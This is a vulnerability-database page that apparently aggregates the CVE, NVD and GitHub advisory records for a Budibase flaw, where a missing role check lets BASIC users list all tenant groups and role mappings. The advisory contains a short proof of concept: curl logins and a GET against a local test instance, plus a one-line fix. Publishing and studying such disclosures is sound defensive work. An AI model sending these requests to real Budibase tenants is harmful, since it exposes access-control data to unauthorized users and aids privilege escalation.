Vulnerability-Lookup

CVE-2026-73301 (GCVE-0-2026-73301)

Vulnerability from cvelistv5 – Published: 2026-08-12 18:08 – Updated: 2026-08-14 21:53

Title

Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings

Summary

Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-14 21:53 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/Budibase/budibase/security/adv…	x_refsource_CONFIRM
https://github.com/Budibase/budibase/pull/19109	x_refsource_MISC
https://github.com/Budibase/budibase/commit/93db7…	x_refsource_MISC
https://github.com/Budibase/budibase/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Budibase	budibase	Affected: < 3.39.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-73301",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T21:53:02.947292Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T21:53:29.056Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "budibase",
          "vendor": "Budibase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.39.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-12T18:08:07.998Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
        },
        {
          "name": "https://github.com/Budibase/budibase/pull/19109",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Budibase/budibase/pull/19109"
        },
        {
          "name": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
        },
        {
          "name": "https://github.com/Budibase/budibase/releases/tag/3.39.25",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
        }
      ],
      "source": {
        "advisory": "GHSA-4qcj-m5wp-jmf4",
        "discovery": "UNKNOWN"
      },
      "title": "Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-73301",
    "datePublished": "2026-08-12T18:08:07.998Z",
    "dateReserved": "2026-08-11T19:42:11.451Z",
    "dateUpdated": "2026-08-14T21:53:29.056Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-73301",
      "date": "2026-10-01",
      "epss": "0.00342",
      "percentile": "0.25333"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "budibase",
                "vendor": "Budibase",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 3.39.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25."
          }
        ],
        "id": "CVE-2026-73301",
        "lastModified": "2026-09-08T20:56:50.520",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-73301",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T21:53:02.947292Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-12T19:17:55.723",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Budibase/budibase/pull/19109"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-862"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-73301",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-14T21:53:02.947292Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-14T21:53:24.161Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "budibase",
              "vendor": "Budibase",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 3.39.2"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-862",
                  "description": "CWE-862: Missing Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-12T18:08:07.998Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
            },
            {
              "name": "https://github.com/Budibase/budibase/pull/19109",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/Budibase/budibase/pull/19109"
            },
            {
              "name": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
            },
            {
              "name": "https://github.com/Budibase/budibase/releases/tag/3.39.25",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
            }
          ],
          "source": {
            "advisory": "GHSA-4qcj-m5wp-jmf4",
            "discovery": "UNKNOWN"
          },
          "title": "Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-73301",
        "datePublished": "2026-08-12T18:08:07.998Z",
        "dateReserved": "2026-08-11T19:42:11.451Z",
        "dateUpdated": "2026-08-14T21:53:29.056Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-73301

Vulnerability from fkie_nvd - Published: 2026-08-12 19:17 - Updated: 2026-09-08 20:56

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a
	security-advisories@github.com	https://github.com/Budibase/budibase/pull/19109
	security-advisories@github.com	https://github.com/Budibase/budibase/releases/tag/3.39.25
	security-advisories@github.com	https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "budibase",
          "vendor": "Budibase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.39.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25."
    }
  ],
  "id": "CVE-2026-73301",
  "lastModified": "2026-09-08T20:56:50.520",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-73301",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-14T21:53:02.947292Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-12T19:17:55.723",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Budibase/budibase/pull/19109"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-4QCJ-M5WP-JMF4

Vulnerability from github – Published: 2026-07-24 21:13 – Updated: 2026-08-12 18:57

Summary

Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings

Details

Summary

The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.

Steps to Reproduce

1. Start Budibase

docker run -d --name budibase-poc -p 10000:80 \
  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \
  -e BB_ADMIN_USER_EMAIL=admin@test.com \
  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \
  budibase/budibase:latest

until curl -sf http://localhost:10000/health; do sleep 5; done

2. Login as admin, create a user group, create a BASIC user

# Login as admin
curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin@test.com","password":"TestPassword123!"}'

# Create a user group (requires license with user groups feature, or use Budibase Cloud)
# On self-hosted without license, groups may not be available
# If available:
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \
  -H "Content-Type: application/json" \
  -d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'

# Create a BASIC user (no builder, no admin)
curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \
  -H "Content-Type: application/json" \
  -d '{"email":"basic@test.com","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}'

3. Login as BASIC user and enumerate all groups (the vulnerability)

# Login as BASIC user
curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"basic@test.com","password":"BasicPass123!"}'

# List ALL groups (should return 403, but returns 200 with full data)
curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups

Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)

Actual: 200 OK with full group data including role mappings, member lists, and builder flags.

Standalone verification (code review)

# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts

Output shows the list endpoint has NO auth middleware:

  .get("/api/global/groups",            # <-- NO auth.builderOrAdmin
    requireFeature(Feature.USER_GROUPS),
    controller.fetch

Compare with the single-group endpoint directly below:

  .get("/api/global/groups/:groupId",   # <-- HAS auth.builderOrAdmin
    auth.builderOrAdmin,
    requireFeature(Feature.USER_GROUPS),
    controller.getById

Root Cause

File: packages/worker/src/api/routes/global/groups.ts, lines 40-44

The list endpoint is the ONLY group endpoint without RBAC:

Endpoint	Auth Middleware
`POST /api/global/groups`	`auth.adminOnly`
`DELETE /api/global/groups/:id/:rev`	`auth.adminOnly`
`GET /api/global/groups/:id`	`auth.builderOrAdmin`
`GET /api/global/groups/:id/users`	`auth.builderOrAdmin`
`GET /api/global/groups`	NONE

Impact

A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.

Suggested Fix

  router.get("/api/global/groups",
+   auth.builderOrAdmin,
    requireFeature(Feature.USER_GROUPS),
    controller.fetch
  )

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:13:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `GET /api/global/groups` endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.\n\n## Steps to Reproduce\n\n### 1. Start Budibase\n\n```bash\ndocker run -d --name budibase-poc -p 10000:80 \\\n  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \\\n  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \\\n  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \\\n  -e BB_ADMIN_USER_EMAIL=admin@test.com \\\n  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \\\n  budibase/budibase:latest\n\nuntil curl -sf http://localhost:10000/health; do sleep 5; done\n```\n\n### 2. Login as admin, create a user group, create a BASIC user\n\n```bash\n# Login as admin\ncurl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin@test.com\",\"password\":\"TestPassword123!\"}\u0027\n\n# Create a user group (requires license with user groups feature, or use Budibase Cloud)\n# On self-hosted without license, groups may not be available\n# If available:\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"Secret Admin Group\",\"color\":\"#ff0000\",\"icon\":\"AdminPanelSettingsIcon\",\"roles\":{\"app_abc123\":\"ADMIN\"}}\u0027\n\n# Create a BASIC user (no builder, no admin)\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"basic@test.com\",\"password\":\"BasicPass123!\",\"roles\":{},\"admin\":{\"global\":false},\"builder\":{\"global\":false}}\u0027\n```\n\n### 3. Login as BASIC user and enumerate all groups (the vulnerability)\n\n```bash\n# Login as BASIC user\ncurl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"basic@test.com\",\"password\":\"BasicPass123!\"}\u0027\n\n# List ALL groups (should return 403, but returns 200 with full data)\ncurl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups\n```\n\n**Expected:** 403 Forbidden (consistent with `GET /api/global/groups/:id` which requires `builderOrAdmin`)\n\n**Actual:** 200 OK with full group data including role mappings, member lists, and builder flags.\n\n### Standalone verification (code review)\n\n```bash\n# In the budibase source tree:\ngrep -A2 \u0027global/groups\"\u0027 packages/worker/src/api/routes/global/groups.ts\n```\n\nOutput shows the list endpoint has NO auth middleware:\n```\n  .get(\"/api/global/groups\",            # \u003c-- NO auth.builderOrAdmin\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n```\n\nCompare with the single-group endpoint directly below:\n```\n  .get(\"/api/global/groups/:groupId\",   # \u003c-- HAS auth.builderOrAdmin\n    auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.getById\n```\n\n## Root Cause\n\nFile: `packages/worker/src/api/routes/global/groups.ts`, lines 40-44\n\nThe list endpoint is the ONLY group endpoint without RBAC:\n\n| Endpoint | Auth Middleware |\n|----------|---------------|\n| `POST /api/global/groups` | `auth.adminOnly` |\n| `DELETE /api/global/groups/:id/:rev` | `auth.adminOnly` |\n| `GET /api/global/groups/:id` | `auth.builderOrAdmin` |\n| `GET /api/global/groups/:id/users` | `auth.builderOrAdmin` |\n| **`GET /api/global/groups`** | **NONE** |\n\n## Impact\n\nA BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.\n\n## Suggested Fix\n\n```diff\n  router.get(\"/api/global/groups\",\n+   auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n  )\n```",
  "id": "GHSA-4qcj-m5wp-jmf4",
  "modified": "2026-08-12T18:57:15Z",
  "published": "2026-07-24T21:13:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/19109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-73301 (GCVE-0-2026-73301)

FKIE_CVE-2026-73301

GHSA-4QCJ-M5WP-JMF4

Summary

Steps to Reproduce

1. Start Budibase

2. Login as admin, create a user group, create a BASIC user

3. Login as BASIC user and enumerate all groups (the vulnerability)

Standalone verification (code review)

Root Cause

Impact

Suggested Fix

Tags

Sightings

Nomenclature

Related by attack behaviour